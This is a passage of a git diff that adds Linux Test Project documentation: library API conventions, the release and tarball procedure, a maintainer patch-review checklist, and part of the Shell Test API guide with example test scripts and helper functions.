'include/lapi/{empty}*.h' +(backward compatibility for old kernel and libc) and C sources in 'lib/{empty}*.c'. +Files have `tst_` prefix. + +2.2 LTP-002: TST_RET and TST_ERR are not modified +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The test author is guaranteed that the test API will not modify these +variables. This prevents silent errors where the return value and +errno are overwritten before the test has chance to check them. + +The macros which are clearly intended to update these variables. That +is `TEST` and those in 'tst_test_macros.h'. Are of course allowed to +update these variables. + +2.3 LTP-003: Externally visible library symbols have the tst_ prefix +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Functions, types and variables in the public test API should have the +tst_ prefix. With some exceptions for symbols already prefixed with +`safe_` or `ltp_`. + +Static (private) symbols should not have the prefix. + + +3. Shell API +------------ + +API source code is in 'tst_test.sh', 'tst_security.sh' and 'tst_net.sh' +(all in 'testcases/lib' directory). + +Changes in the shell API should not introduce uncommon dependencies +(use basic commands installed everywhere by default). + +3.1 Shell libraries +~~~~~~~~~~~~~~~~~~~ + +Aside from shell API libraries in 'testcases/lib', it's worth putting +common code for a group of tests into a shell library. The filename +should end with '_lib.sh' and the library should load 'tst_test.sh' or +'tst_net.sh'. + +Shell libraries should have conditional expansion for 'TST_SETUP' or 'TST_CLEANUP', +to avoid surprises when test specific setup/cleanup function is redefined by +shell library. + +[source,sh] +------------------------------------------------------------------------------- +# ipsec_lib.sh +# SPDX-License-Identifier: GPL-2.0-or-later +TST_SETUP="${TST_SETUP:-ipsec_lib_setup}" +... +. tst_test.sh +------------------------------------------------------------------------------- diff --git a/doc/LTP-Release-Procedure.asciidoc b/doc/LTP-Release-Procedure.asciidoc new file mode 100644 index 00000000..69c05071 --- /dev/null +++ b/doc/LTP-Release-Procedure.asciidoc @@ -0,0 +1,170 @@ +LTP Release Procedure +===================== + +1. Release preparations +----------------------- + +The release procedure generally takes a few weeks. In the first week or two, +patches that should go into the release are reviewed and possibly merged. These +patches are either fixes or patches pointed out by the community. + +Patch review, when finished, is followed by a git freeze, which is a period +where only fixes are pushed to the git. During that period community is +expected to run a LTP pre-release tests, reports problems, and/or send fixes to +the mailing list. In this period we are especially making sure that there are +no regressions in the test results on a wide range of distributions and +architectures. + +Once the stabilization period has ended the time has finally come to proceed +with the release. + +2. Prepare the release notes +---------------------------- + +Part of the preparation is also to write the release notes, which are then +added to the GitHub release and also sent as announcement to various mailing +lists (see below). + +Have a look at https://lore.kernel.org/ltp/ZGNiQ1sMGvPU_ETp@yuki/ to get the +idea how it should look. + +3. Tag the git and push changes to github +----------------------------------------- + +[source,sh] +-------------------------------------------------------------------- +cd ltp +echo YYYYMMDD > VERSION +git commit -S -s -m 'LTP YYYYMMDD' VERSION +git tag -s -a YYYYMMDD -m 'LTP YYYYMMDD' +git push origin master:master +git push origin YYYYMMDD +-------------------------------------------------------------------- + +NOTE: The string YYYYMMDD should be substituted to the current date. + +NOTE: You can use './tools/tag-release.sh' script to have the above automated. + It allows you to verify the tag before pushing it and does other checks. + +[source,sh] +-------------------------------------------------------------------- +$ ./tools/tag-release.sh +===== git push ===== +new tag: 'YYYYMMDD', previous tag: '20230127' +tag YYYYMMDD +Tagger: Person-who-released LTP +Date: ... + +LTP YYYYMMDD +-----BEGIN PGP SIGNATURE----- +... +-----END PGP SIGNATURE----- + +commit 3ebc2dfa85c2445bb68d8c0d66e33c4da1e1b3a7 +gpg: using RSA key ... +... +Primary key fingerprint: ... +Author: Person-who-released LTP +Date: ... + + LTP YYYYMMDD + + Signed-off-by: Person-who-released LTP + +diff --git a/VERSION b/VERSION +index af4c41fec..ae488c0e7 100644 +--- a/VERSION ++++ b/VERSION +@@ -1 +1 @@ +-20230127 ++YYYYMMDD + +Please check tag and signature. Proceed? [N/y]: y +Pushing changes to upstream git. Proceed? [N/y]: y +... +To github.com:linux-test-project/ltp.git + * [new tag] YYYYMMDD -> YYYYMMDD +-------------------------------------------------------------------- + +4. Prepare tarballs and metadata documentation +---------------------------------------------- + +[source,sh] +-------------------------------------------------------------------- +# clone already clonned git repository to new folder +cd .. +git clone ltp ltp-full-YYYYMMDD +cd ltp-full-YYYYMMDD + +# update all submodules +git submodule update --init + +# Generate configure script +make autotools + +# Generate tarballs +cd .. +tar -cjf ltp-full-YYYYMMDD.tar.bz2 ltp-full-YYYYMMDD --exclude .git +tar -cJf ltp-full-YYYYMMDD.tar.xz ltp-full-YYYYMMDD --exclude .git + +# Generate checksums +md5 ltp-full-YYYYMMDD.tar.xz > ltp-full-YYYYMMDD.tar.xz.md5 +sha1 ltp-full-YYYYMMDD.tar.xz > ltp-full-YYYYMMDD.tar.xz.sha1 +sha256sum ltp-full-YYYYMMDD.tar.xz > ltp-full-YYYYMMDD.tar.xz.sha256 + +# Generate metadata documentation +./configure --with-metadata-generator=asciidoctor +make -C metadata +cp -v docparse/metadata.html ../metadata.YYYYMMDD.html +-------------------------------------------------------------------- + +NOTE: You can use './tools/create-tarballs-metadata.sh' script to have the + above automated. All generated files are placed in ltp-release-YYYYMMDD + directory. + +[source,sh] +-------------------------------------------------------------------- +$ ./tools/create-tarballs-metadata.sh +===== git clone ===== +Cloning into 'ltp-full-YYYYMMDD'... +done. +===== Update submodules ===== +Submodule 'tools/kirk' (https://github.com/linux-test-project/kirk.git) registered for path 'tools/kirk' +... +===== Generate configure script ===== +sed -n '1{s:LTP-:m4_define([LTP_VERSION],[:;s:$:]):;p;q}' VERSION > m4/ltp-version.m4 +aclocal -I m4 +... +===== Generate tarballs ===== +===== Generate checksums ===== +===== Generate metadata documentation ===== +checking for a BSD-compatible install... /usr/bin/install -c +... +'docparse/metadata.html' -> '/home/foo/ltp-release-YYYYMMDD/metadata.YYYYMMDD.html' +Generated files are in '/home/foo/ltp-release-YYYYMMDD', upload them to github +-------------------------------------------------------------------- + +5. Upload the generated files to GitHub +--------------------------------------- + +Click on https://github.com/linux-test-project/ltp/releases['Releases'] then +switch to https://github.com/linux-test-project/ltp/tags['Tags'], then click on +'Add release notes'. There should be 'Attach binaries ...' link at the +bottom of the page. + +Don't forget to upload checksums for the tarballs and metadata documentation as well. + +5. Send release announcement +---------------------------- + +The announcement is sent to: + +* ltp at lists.linux.it +* linux-kernel at vger.kernel.org +* libc-alpha at sourceware.org + +CCed to: + +* lwn at lwn.net +* akpm at linux-foundation.org +* torvalds at linux-foundation.org diff --git a/doc/Maintainer-Patch-Review-Checklist.asciidoc b/doc/Maintainer-Patch-Review-Checklist.asciidoc new file mode 100644 index 00000000..cb9e00e8 --- /dev/null +++ b/doc/Maintainer-Patch-Review-Checklist.asciidoc @@ -0,0 +1,141 @@ +# Patch Review + +Anyone can and should review patches. It's the only way to get good at +patch review and for the project to scale. + +## Goals of patch review + +1. Prevent false positive test results +2. Prevent false negative test results +3. Keep the code as simple as possible, but no simpler + +## How to find clear errors + +A clear error is one where there is unlikely to be any argument if you +provide evidence of it. Evidence being an error trace or logical proof +that an error will occur in a common situation. + +The following are examples and may not be appropriate for all tests. + +* Merge the patch locally. It should apply cleanly to master. +* Compile the patch with default and non-default configurations. + - Use sanitizers e.g. undefined behaviour, address. + - Compile on non-x86 + - Compile on x86 with -m32 +* Use `make check` +* Run effected tests in a VM + - Use single vCPU + - Use many vCPUs and enable NUMA + - Restrict RAM to < 1GB. +* Run effected tests on an embedded device +* Run effected tests on non-x86 machine in general +* Run reproducers on a kernel where the bug is present +* Run tests with "-i0" +* Compare usage of system calls with man page descriptions +* Compare usage of system calls with kernel code +* Search the LTP library for existing helper functions + +## How to find subtle errors + +A subtle error is one where you can expect some argument because you +do not have clear evidence of an error. It is best to state these as +questions and not make assertions if possible. + +Although if it is a matter of style or "taste" then senior maintainers +can assert what is correct to avoid bike shedding. + +* Ask what happens if there is an error, could it be debugged just + with the test output? +* Are we testing undefined behavior? + - Could future kernel behaviour change without "breaking userland"? + - Does the kernel behave differently depending on hardware? + - Does it behave differently depending on kernel configuration? + - Does it behave differently depending on the compiler? + - Would it behave differently if the order of checks on syscall parameters + changed in the kernel? +* Will it scale to tiny and huge systems? + - What happens if there are 100+ CPUs? + - What happens if each CPU core is very slow? + - What happens if there are 2TB of RAM? +* Are we repeating a pattern that can be turned into a library function? +* Is a single test trying to do too much? +* Could multiple similar tests be merged? +* Race conditions + - What happens if a process gets preempted? + - Could checkpoints or fuzzsync by used instead? + - Note, usually you can insert a sleep to prove a race condition + exists however finding them is hard +* Is there a simpler way to achieve the same kernel coverage? + +## How to get patches merged + +Once you think a patch is good enough you should add your Reviewed-by +and/or Tested-by tags. This means you will get some credit for getting +the patch merged. Also some blame if there are problems. + +If you ran the test you can add the Tested-by tag. If you read the +code or used static analysis tools on it, you can add the Reviewed-by +tag. + +In addition you can expect others to review your patches and add their +tags. This will speed up the process of getting your patches merged. + +## Maintainers Checklist + +Patchset should be tested locally and ideally also in maintainer's fork in +GitHub Actions on GitHub. + +NOTE: GitHub Actions do only build testing, passing the CI means only that + the test compiles fine on variety of different distributions and releases. + +The test should be executed at least once locally and should PASS as well. + +Commit messages should have + +* Author's `Signed-off-by` tag +* Committer's `Reviewed-by` or `Signed-off-by` tag +* Check also mailing lists for other reviewers / testers tags, notes and failure reports +* `Fixes: hash` if it fixes particular LTP commit +* `Fixes: #N` if it fixes github issue number N, so it's automatically closed + +After patch is accepted or rejected, set correct state and archive in +https://patchwork.ozlabs.org/project/ltp/list/[LTP patchwork instance]. + +Also update `.github/workflows/wiki-mirror.yml` script which mirrors +`doc/*.txt` to LTP wiki (git URL https://github.com/linux-test-project/ltp.wiki.git) +if new wiki page is added. + +## New tests +New test should + +* Have a record in runtest file +* Test should work fine with more than one iteration + (e.g. run with `-i 100`) +* Run with `-i 0` to check that setup and cleanup are coded properly (no test is being run) +* Have a brief description +* License: the default license for new tests is GPL v2 or later, use + GPL-2.0-or-later; the licence for test (e.g. GPL-2.0) should not change + unless test is completely rewritten +* Old copyrights should be kept unless test is completely rewritten + +### C tests +* Use new https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#22-writing-a-test-in-c[C API] +* Test binaries are added into corresponding `.gitignore` files +* Check coding style with `make check` + (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#21-c-coding-style[C coding style]) +* Docparse documentation +* If a test is a regression test it should include tags + (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#2238-test-tags[Test tags]) +* When rewriting old tests, https://en.wikipedia.org/wiki/%CE%9CClinux[uClinux] + support should be removed (project has been discontinued). + E.g. remove `#ifdef UCLINUX`, replace `FORK_OR_VFORK()` with simple `fork()` or `SAFE_FORK()`. + +### Shell tests +* Use new https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#23-writing-a-testcase-in-shell[shell API] +* Check coding style with `make check` + (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#132-shell-coding-style[Shell coding style]) +* If a test is a regression test it should include related kernel or glibc commits as a comment + +## LTP library +For patchset touching library please check also +https://github.com/linux-test-project/ltp/wiki/LTP-Library-API-Writing-Guidelines[LTP Library API Writing Guidelines]. diff --git a/doc/Shell-Test-API.asciidoc b/doc/Shell-Test-API.asciidoc new file mode 100644 index 00000000..4cf630da --- /dev/null +++ b/doc/Shell-Test-API.asciidoc @@ -0,0 +1,828 @@ +LTP Shell Test API +================== + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], + https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API]. + +1 Writing a testcase in shell +----------------------------- + +LTP supports testcases to be written in a portable shell too. + +There is a shell library modeled closely to the C interface at +'testcases/lib/tst_test.sh'. + +WARNING: All identifiers starting with 'TST_' or 'tst_' are reserved for the + test library. + +1.1 Basic test interface +~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# This is a basic test for true shell builtin + +TST_TESTFUNC=do_test + +do_test() +{ + true + ret=$? + + if [ $ret -eq 0 ]; then + tst_res TPASS "true returned 0" + else + tst_res TFAIL "true returned $ret" + fi +} + +. tst_test.sh +tst_run +------------------------------------------------------------------------------- + +TIP: To execute this test the 'tst_test.sh' library must be in '$PATH'. If you + are executing the test from a git checkout you can run it as + 'PATH="$PATH:../../lib" ./foo01.sh' + +The shell library expects test setup, cleanup and the test function executing +the test in the '$TST_SETUP', '$TST_CLEANUP' and '$TST_TESTFUNC' variables. + +Both '$TST_SETUP' and '$TST_CLEANUP' are optional. + +The '$TST_TESTFUNC' may be called several times if more than one test +iteration was requested by passing right command line options to the test. + +The '$TST_CLEANUP' may be called even in the middle of the setup and must be +able to clean up correctly even in this situation. The easiest solution for +this is to keep track of what was initialized and act accordingly in the +cleanup. + +WARNING: Similar to the C library, calling 'tst_brk' in the $TST_CLEANUP does + not exit the test and 'TBROK' is converted to 'TWARN'. + +Notice also the 'tst_run' shell API function called at the end of the test that +actually starts the test. + +WARNING: cleanup function is called only after 'tst_run' has been started. +Calling 'tst_brk' in shell libraries, e.g. 'tst_test.sh' or 'tst_net.sh' does +not trigger calling it. + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Example test with tests in separate functions + +TST_TESTFUNC=test +TST_CNT=2 + +test1() +{ + tst_res TPASS "Test $1 passed" +} + +test2() +{ + tst_res TPASS "Test $1 passed" +} + +. tst_test.sh +tst_run +# output: +# foo 1 TPASS: Test 1 passed +# foo 2 TPASS: Test 2 passed +------------------------------------------------------------------------------- + +If '$TST_CNT' is set, the test library looks if there are functions named +'$\{TST_TESTFUNC\}1', ..., '$\{TST_TESTFUNC\}$\{TST_CNT\}' and if these are +found they are executed one by one. The test number is passed to it in the '$1'. + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Example test with tests in a single function + +TST_TESTFUNC=do_test +TST_CNT=2 + +do_test() +{ + case $1 in + 1) tst_res TPASS "Test $1 passed";; + 2) tst_res TPASS "Test $1 passed";; + esac +} + +. tst_test.sh +tst_run +# output: +# foo 1 TPASS: Test 1 passed +# foo 2 TPASS: Test 2 passed +------------------------------------------------------------------------------- + +Otherwise, if '$TST_CNT' is set but there is no '$\{TST_TESTFUNC\}1', etc., +the '$TST_TESTFUNC' is executed '$TST_CNT' times and the test number is passed +to it in the '$1'. + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Example test with tests in a single function, using $TST_TEST_DATA and +# $TST_TEST_DATA_IFS + +TST_TESTFUNC=do_test +TST_TEST_DATA="foo:bar:d dd" +TST_TEST_DATA_IFS=":" + +do_test() +{ + tst_res TPASS "Test $1 passed with data '$2'" +} + +. tst_test.sh +tst_run +# output: +# foo 1 TPASS: Test 1 passed with data 'foo' +# foo 2 TPASS: Test 1 passed with data 'bar' +# foo 3 TPASS: Test 1 passed with data 'd dd' +------------------------------------------------------------------------------- + +It's possible to pass data for function with '$TST_TEST_DATA'. Optional +'$TST_TEST_DATA_IFS' is used for splitting, default value is space. + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Example test with tests in a single function, using $TST_TEST_DATA and $TST_CNT + +TST_TESTFUNC=do_test +TST_CNT=2 +TST_TEST_DATA="foo bar" + +do_test() +{ + case $1 in + 1) tst_res TPASS "Test $1 passed with data '$2'";; + 2) tst_res TPASS "Test $1 passed with data '$2'";; + esac +} + +. tst_test.sh +tst_run +# output: +# foo 1 TPASS: Test 1 passed with data 'foo' +# foo 2 TPASS: Test 2 passed with data 'foo' +# foo 3 TPASS: Test 1 passed with data 'bar' +# foo 4 TPASS: Test 2 passed with data 'bar' +------------------------------------------------------------------------------- + +'$TST_TEST_DATA' can be used with '$TST_CNT'. If '$TST_TEST_DATA_IFS' not specified, +space as default value is used. Of course, it's possible to use separate functions. + +1.2 Library environment variables and functions for shell +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Similarily to the C library various checks and preparations can be requested +simply by setting right '$TST_FOO'. + +[options="header"] +|============================================================================= +| Variable name | Action done +| 'TST_ALL_FILESYSTEMS' | Testing on all available filesystems + ('tst_test.all_filesystems' equivalent). + When 'TST_SKIP_FILESYSTEMS' any listed filesystem is not + included in the resulting list of supported filesystems. +| 'TST_DEV_EXTRA_OPTS' | Pass extra 'mkfs' options _after_ device name, + to 'tst_mkfs', use with 'TST_FORMAT_DEVICE=1'. +| 'TST_DEV_FS_OPTS' | Pass 'mkfs' options _before_ the device name, + to 'tst_mkfs', use with 'TST_FORMAT_DEVICE=1'. +| 'TST_FORMAT_DEVICE' | Format a block device with a filesystem, see + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem]. + See also 'TST_DEV_EXTRA_OPTS', 'TST_DEV_FS_OPTS', 'TST_FS_TYPE'. + Implies 'TST_NEEDS_DEVICE=1' (no need to set it). +| 'TST_DEVICE' | Block device name for 'tst_mount' and 'tst_mkfs', see + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem]. +| 'TST_FS_TYPE' | Override the default filesystem to be used. Also + contains currently used filesystem during looping + filesystems in 'TST_ALL_FILESYSTEMS=1' + ('tst_device->fs_type' equivalent). +| 'TST_MNTPOINT' | Holds path to mountpoint used in 'tst_mount', see + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem]. +| 'TST_MNT_PARAMS' | Extra mount params for 'tst_mount', see + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem]. +| 'TST_MOUNT_DEVICE' | Mount device, see + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#mounting-and-unmounting-filesystems[Mounting and unmounting filesystems]. +| 'TST_NEEDS_ROOT' | Exit the test with 'TCONF' unless executed under root. + Alternatively the 'tst_require_root' command can be used. +| 'TST_NEEDS_TMPDIR' | Create test temporary directory and cd into it. +| 'TST_NEEDS_DEVICE' | Prepare test temporary device, the path to testing + device is stored in '$TST_DEVICE' variable. + The option implies 'TST_NEEDS_TMPDIR'. +| 'TST_NEEDS_CMDS' | String with command names that has to be present for + the test (see below). +| 'TST_NEEDS_MODULE' | Test module name needed for the test (see below). +| 'TST_NEEDS_DRIVERS' | Checks kernel drivers support for the test. +| 'TST_NEEDS_KCONFIGS' | Checks kernel kconfigs support for the test (see below). +| 'TST_NEEDS_KCONFIGS_IFS' | Used for splitting '$TST_NEEDS_KCONFIGS' variable, + default value is comma, it only supports single character. +| 'TST_SKIP_FILESYSTEMS' | Comma separated list of filesystems on which test will be skipped + (tst_test.skip_filesystems equivalent). +| 'TST_TIMEOUT' | Maximum timeout set for the test in sec. Must be int >= 1, + or -1 (special value to disable timeout), default is 300. + Variable is meant be set in tests, not by user. + It's an equivalent of `tst_test.timeout` in C, can be set + via 'tst_set_timeout(timeout)' after test has started. +|============================================================================= + +[options="header"] +|============================================================================= +| Function name | Action done +| 'tst_set_timeout(timeout)' | Maximum timeout set for the test in sec. + See 'TST_TIMEOUT' variable. +|============================================================================= + +NOTE: Network tests (see testcases/network/README.md) use additional variables +and functions in 'tst_net.sh'. + +Checking for presence of commands ++++++++++++++++++++++++++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh + +... + +TST_NEEDS_CMDS="modinfo modprobe" +. tst_test.sh + +... + +------------------------------------------------------------------------------- + +Setting '$TST_NEEDS_CMDS' to a string listing required commands will check for +existence each of them and exits the test with 'TCONF' on first missing. + +Alternatively the 'tst_require_cmds()' function can be used to do the same on +runtime, since sometimes we need to the check at runtime too. + +'tst_check_cmds()' can be used for requirements just for a particular test +as it doesn't exit (it issues 'tst_res TCONF'). Expected usage is: + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh + +TST_TESTFUNC=do_test + +do_test() +{ + tst_check_cmds cmd || return + cmd --foo + ... +} + +. tst_test.sh +tst_run +------------------------------------------------------------------------------- + +Locating kernel modules ++++++++++++++++++++++++ + +The LTP build system can build kernel modules as well, setting +'$TST_NEEDS_MODULE' to module name will cause the library to look for the +module in a few possible paths. + +If module was found the path to it will be stored into '$TST_MODPATH' +variable, if module wasn't found the test will exit with 'TCONF'. + +Alternatively the 'tst_require_module()' function can be used to do the same +at runtime. + +1.3 Optional command line parameters +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Optional test command line parameters + +TST_OPTS="af:" +TST_USAGE=usage +TST_PARSE_ARGS=parse_args +TST_TESTFUNC=do_test + +ALTERNATIVE=0 +MODE="foo" + +usage() +{ + cat << EOF +usage: $0 [-a] [-f ] + +OPTIONS +-a Enable support for alternative foo +-f Specify foo or bar mode +EOF +} + +parse_args() +{ + case $1 in + a) ALTERNATIVE=1;; + f) MODE="$2";; + esac +} + +do_test() +{ + ... +} + +. tst_test.sh +tst_run +------------------------------------------------------------------------------- + +The 'getopts' string for optional parameters is passed in the '$TST_OPTS' +variable. There are a few default parameters that cannot be used by a test, +these can be listed with passing help '-h' option to any test. + +The function that prints the usage is passed in '$TST_USAGE', the help for +the options implemented in the library is appended when usage is printed. + +Lastly the function '$PARSE_ARGS' is called with the option name in the '$1' +and, if option has argument, its value in the '$2'. + +[source,sh] +------------------------------------------------------------------------------- +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Optional test positional parameters + +TST_POS_ARGS=3 +TST_USAGE=usage +TST_TESTFUNC=do_test + +usage() +{ + cat << EOF +usage: $0 [min] [max] [size] + +EOF +} + +min="$1" +max="$2" +size="$3" + +do_test() +{ + ... +} + +. tst_test.sh +tst_run +------------------------------------------------------------------------------- + +You can also request a number of positional parameters by setting the +'$TST_POS_ARGS' variable. If you do, these will be available as they were +passed directly to the script in '$1', '$2', ..., '$n'. + +1.4 Useful library functions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Retrieving configuration variables +++++++++++++++++++++++++++++++++++ + +You may need to retrieve configuration values such as PAGESIZE, there is +'getconf' but as some system may not have it, you are advised to use +'tst_getconf' instead. Note that it implements subset of 'getconf' +system variables used by the testcases only. + +[source,sh] +------------------------------------------------------------------------------- +# retrieve PAGESIZE +pagesize=`tst_getconf PAGESIZE` +------------------------------------------------------------------------------- + +Sleeping for subsecond intervals +++++++++++++++++++++++++++++++++ + +Albeit there is a sleep command available basically everywhere not all +implementations can support sleeping for less than one second. And most of the +time sleeping for a second is too much. Therefore LTP includes 'tst_sleep' +that can sleep for defined amount of seconds, milliseconds or microseconds. + +[source,sh] +------------------------------------------------------------------------------- +# sleep for 100 milliseconds +tst_sleep 100ms +------------------------------------------------------------------------------- + +Retry a function call multiple times +++++++++++++++++++++++++++++++++++++ + +Sometimes an LTP test needs to retry a function call multiple times because +the system is not ready to process it successfully on the first try. The LTP +library has useful tools to handle the call retry automatically. +'TST_RETRY_FUNC()' will keep retrying for up to 1 second. If you want a custom +time limit use 'TST_RETRY_FN_EXP_BACKOFF()'. Both methods return the value +returned by the last 'FUNC' call. + +The delay between retries starts at 1 microsecond and doubles after each call. +The retry loop ends when the function call succeeds or when the next delay +exceeds the specified time (1 second for 'TST_RETRY_FUNC()'). The maximum +delay is multiplied by TST_TIMEOUT_MUL. The total cumulative delay may be up +to twice as long as the adjusted maximum delay. + +The C version of 'TST_RETRY_FUNC()' is a macro which takes two arguments: + +* 'FUNC' is the complete function call with arguments which should be retried + multiple times. +* 'SUCCESS_CHECK' is a macro or function which will validate 'FUNC' return + value. 'FUNC' call was successful if 'SUCCESS_CHECK(ret)' evaluates to + non-zero. + +Both retry methods clear 'errno' before every 'FUNC' call so your +'SUCCESS_CHECK' can look for specific error codes as well. The LTP library +also includes predefined 'SUCCESS_CHECK' macros for the most common call +conventions: + +* 'TST_RETVAL_EQ0()' - The call was successful if 'FUNC' returned 0 or NULL +* 'TST_RETVAL_NOTNULL()' - The call was successful if 'FUNC' returned any + value other than 0 or NULL. +* 'TST_RETVAL_GE0()' - The call was successful if 'FUNC' returned value >= 0. + +[source,c] +------------------------------------------------------------------------------- +/* Keep trying for 1 second */ +TST_RETRY_FUNC(FUNC, SUCCESS_CHECK) + +/* Keep trying for up to 2*N seconds */ +TST_RETRY_FN_EXP_BACKOFF(FUNC, SUCCESS_CHECK, N) +------------------------------------------------------------------------------- + +The shell version of 'TST_RETRY_FUNC()' is simpler and takes slightly +different arguments: + +* 'FUNC' is a string containing the complete function or program call with + arguments. +* 'EXPECTED_RET' is a single expected return value. 'FUNC' call was successful + if the return value is equal to EXPECTED_RET. + +[source,sh] +------------------------------------------------------------------------------- +# Keep trying for 1 second +TST_RETRY_FUNC "FUNC arg1 arg2 ..." "EXPECTED_RET" + +# Keep trying for up to 2*N seconds +TST_RETRY_FN_EXP_BACKOFF "FUNC arg1 arg2 ..." "EXPECTED_RET" "N" +------------------------------------------------------------------------------- + +Checking for integers ++++++++++++++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +# returns zero if passed an integer parameter, non-zero otherwise +tst_is_int "$FOO" +------------------------------------------------------------------------------- + +Checking for integers and floating point numbers +++++++++++++++++++++++++++++++++++++++++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +# returns zero if passed an integer or floating point number parameter, +# non-zero otherwise +tst_is_num "$FOO" +------------------------------------------------------------------------------- + +Obtaining random numbers +++++++++++++++++++++++++ + +There is no '$RANDOM' in portable shell, use 'tst_random' instead. + +[source,sh] +------------------------------------------------------------------------------- +# get random integer between 0 and 1000 (including 0 and 1000) +tst_random 0 1000 +------------------------------------------------------------------------------- + +Formatting device with a filesystem ++++++++++++++++++++++++++++++++++++ + +'TST_FORMAT_DEVICE=1' can be used to format device before running the test. +Uses '$TST_FS_TYPE' (by default ext2), '$TST_DEVICE' a block device to be +formatted, usually prepared by the library (TST_NEEDS_DEVICE=1 must be set). +'$TST_DEV_FS_OPTS' a 'mkfs' options _before_ the device path and +'$TST_DEV_EXTRA_OPTS' extra 'mkfs'' options _after_ the device path. + +[source,sh] +------------------------------------------------------------------------------- +TST_FORMAT_DEVICE=1 +TST_DEV_FS_OPTS="-b 1024 -O quota" +TST_DEV_EXTRA_OPTS="5m" +TST_TESTFUNC=test + +test() +{ + tst_res TPASS "device formatted" +} +------------------------------------------------------------------------------- + +[source,sh] +------------------------------------------------------------------------------- +# format test device with ext2 +tst_mkfs ext2 $TST_DEVICE +# default params are $TST_FS_TYPE $TST_DEVICE +tst_mkfs +# optional parameters +tst_mkfs ext4 /dev/device -T largefile +------------------------------------------------------------------------------- + +Mounting and unmounting filesystems ++++++++++++++++++++++++++++++++++++ + +The 'tst_mount' and 'tst_umount' helpers are a safe way to mount/umount +a filesystem. + +The 'tst_mount' mounts '$TST_DEVICE' of '$TST_FS_TYPE' (optional) to +'$TST_MNTPOINT' (defaults to mntpoint), optionally using the +'$TST_MNT_PARAMS'. The '$TST_MNTPOINT' directory is created if it didn't +exist prior to the function call. + +If the path passed (optional, must be absolute path, defaults to '$TST_MNTPOINT') +to the 'tst_umount' is not mounted (present in '/proc/mounts') it's noop. +Otherwise it retries to umount the filesystem a few times on failure. +This is a workaround since there are daemons dumb enough to probe all newly +mounted filesystems, and prevents them from being umounted shortly after they +were mounted. + +ROD and ROD_SILENT +++++++++++++++++++ + +These functions supply the 'SAFE_MACROS' used in C although they work and are +named differently. + +[source,sh] +------------------------------------------------------------------------------- +ROD_SILENT command arg1 arg2 ... + +# is shorthand for: + +command arg1 arg2 ... > /dev/null 2>&1 +if [ $? -ne 0 ]; then + tst_brk TBROK "..." +fi + + +ROD command arg1 arg2 ... + +# is shorthand for: + +ROD arg1 arg2 ... +if [ $? -ne 0 ]; then + tst_brk TBROK "..." +fi +------------------------------------------------------------------------------- + +WARNING: Keep in mind that output redirection (to a file) happens in the + caller rather than in the ROD function and cannot be checked for + write errors by the ROD function. + +As a matter of a fact doing +ROD echo a > /proc/cpuinfo+ would work just fine +since the 'ROD' function will only get the +echo a+ part that will run just +fine. + +[source,sh] +------------------------------------------------------------------------------- +# Redirect output to a file with ROD +ROD echo foo \> bar +------------------------------------------------------------------------------- + +Note the '>' is escaped with '\', this causes that the '>' and filename are +passed to the 'ROD' function as parameters and the 'ROD' function contains +code to split '$@' on '>' and redirects the output to the file. + +EXPECT_PASS{,_BRK} and EXPECT_FAIL{,_BRK} ++++++++++++++++++++++++++++++++++++++++++ + +[source,sh] +------------------------------------------------------------------------------- +EXPECT_PASS command arg1 arg2 ... [ \> file ] +EXPECT_FAIL command arg1 arg2 ... [ \> file ] +------------------------------------------------------------------------------- + +'EXPECT_PASS' calls 'tst_res TPASS' if the command exited with 0 exit code, +and 'tst_res TFAIL' otherwise. 'EXPECT_FAIL' does vice versa. + +Output redirection rules are the same as for the 'ROD' function. In addition +to that, 'EXPECT_FAIL' always redirects the command's stderr to '/dev/null'. + +There are also 'EXPECT_PASS_BRK' and 'EXPECT_FAIL_BRK', which works the same way +except breaking a test when unexpected action happen. + +It's possible to detect whether expected value happened: +[source,sh] +------------------------------------------------------------------------------- +if ! EXPECT_PASS command arg1 2\> /dev/null; then + continue +fi +------------------------------------------------------------------------------- + +tst_kvcmp ++++++++++ + +This command compares the currently running kernel version given conditions +with syntax similar to the shell test command. + +[source,sh] +------------------------------------------------------------------------------- +# Exit the test if kernel version is older or equal to 4.0.0 +if tst_kvcmp -le 4.0.0; 